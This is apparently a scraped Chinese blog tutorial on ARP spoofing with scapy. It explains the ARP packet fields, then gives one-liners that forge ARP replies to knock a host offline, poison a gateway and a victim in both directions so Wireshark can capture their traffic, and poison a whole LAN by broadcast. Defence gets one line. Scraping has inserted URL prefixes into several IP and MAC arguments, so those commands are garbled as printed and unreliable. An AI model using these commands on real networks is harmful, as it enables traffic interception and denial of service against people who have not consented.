scapy学习arp欺骗

在以太网协议中规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址。于是需要一种方法,根据目的主机的IP地址,获得其MAC地址。这就是ARP协议要做的事情。所谓地址解析(address resolution)就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。
地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。
arp欺骗分为单向欺骗和双向欺骗。单向欺骗主要是欺骗网关,可以截获从网关从受害主机的通讯内容,但是受害主机到网关的通讯是正常的。双向欺骗则同时欺骗网关和受害主机,可以同时截获网关和受害主机双向的通讯内容。 从代码实现上讲,双向欺骗只是在单向欺骗的基础上换一个参数。

  1. arp报文结构
    硬件类型:指明了发送方想知道的硬件接口类型,以太网的值为1;
    协议类型:指明了发送方提供的高层协议类型,IP为0800(16进制);
    硬件地址长度和协议长度:指明了硬件地址和高层协议地址的长度,这样ARP报文就可以在任意硬件和任意协议的网络中使用;
    操作类型:用来表示这个报文的类型,ARP请求为1,ARP响应为2,RARP请求为3,RARP响应为4;
    发送方硬件地址:源主机MAC地址
    发送方IP地址:源主机IP地址
    目标硬件地址:目的主机MAC地址
    目标IP地址:目的主机IP地址
  2. 【scapy学习arp欺骗】scapy发送arp请求报文
    res=sr1(ARP(pdst="192.168.1.101")) 查询局域网主机mac地址
    res.hwsrc # ac:c1:ee:31:1b:e6 主机回复的mac地址
    wireshark抓包的请求报文
    scapy学习arp欺骗
    文章图片

    从wireshark抓包来看,arp请求报文一般是一个广播包,操作码为1。
  3. sapy发送arp应答报文
    注意arp应答报文的操作码为2。
    send(ARP(pdst="192.168.1.101",op=2)) 主动通知101主机当前机器的ip和MAC地址
    scapy学习arp欺骗
    文章图片

  4. scapy发送虚假应答报文
    因为目标主机并不会针对arp的应答报文做有效性检测,因为我们可以主动发送一个虚假的arp应答报文给受害主机以达到欺骗的目的。
    srloop(ARP(psrc="https://www.it610.com/article/192.168.1.101",hwsrc="https://www.it610.com/article/11:22:33:44:55:66",pdst="192.168.1.1",op=2))
    主动告知网关192.168.1.101的MAC地址是11:22:33:44:55:66,并循环发送。经过此行代码,101主机将无法连接外网。
  5. 双向欺骗
    arp欺骗最主要的目的是截获数据,下面将进行路由器和主机的双向欺骗,并使用wireshark抓取数据包。
    当前路由器的ip地址是192.168.1.1,MAC地址是24:69:68:49:67:e0
    本机ip是192.168.1.106,MAC地址是e0:94:67:79:17:2e
    目标机器ip是192.168.1.101,MAC地址是ac:c1:ee:31:1b:e6。
    srploop(Ether(dst="ac:c1:ee:31:1b:e6")/ARP(psrc="https://www.it610.com/article/192.168.1.1",hwsrc="https://www.it610.com/article/e0:94:67:79:17:2e",pdst="192.168.1.101",hwdst="ac:c1:ee:31:1b:e6",op=2)) 欺骗101主机本机是网关。
    srploop(Ether(dst="24:69:68:49:67:e0")/ARP(psrc="https://www.it610.com/article/192.168.1.101",hwsrc="https://www.it610.com/article/e0:94:67:79:17:2e",pdst="192.168.1.1",hwdst="24:69:68:49:67:e0",op=2)) 欺骗网关本机是101主机
    经过上述命令,wireshark可以根据ip.addr==192.168.1.101规则解惑通讯信息。
    scapy学习arp欺骗
    文章图片

  6. 应答广播包欺骗局域网所有机器
    srploop(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(hwsrc="https://www.it610.com/article/00:e0:70:52:54:26",psrc="https://www.it610.com/article/192.168.200.1",op=2))
    将数据链路层的目标MAC地址置为全ff,此时该消息的接收者将只关注hwsrc和psrc信息,更新本地arp缓存。
  7. 方便快捷的arp攻击工具
    ettercap + wireshark

  8. 防御ARP攻击
    路由器与各主机ip进行MAC双向绑定。

    推荐阅读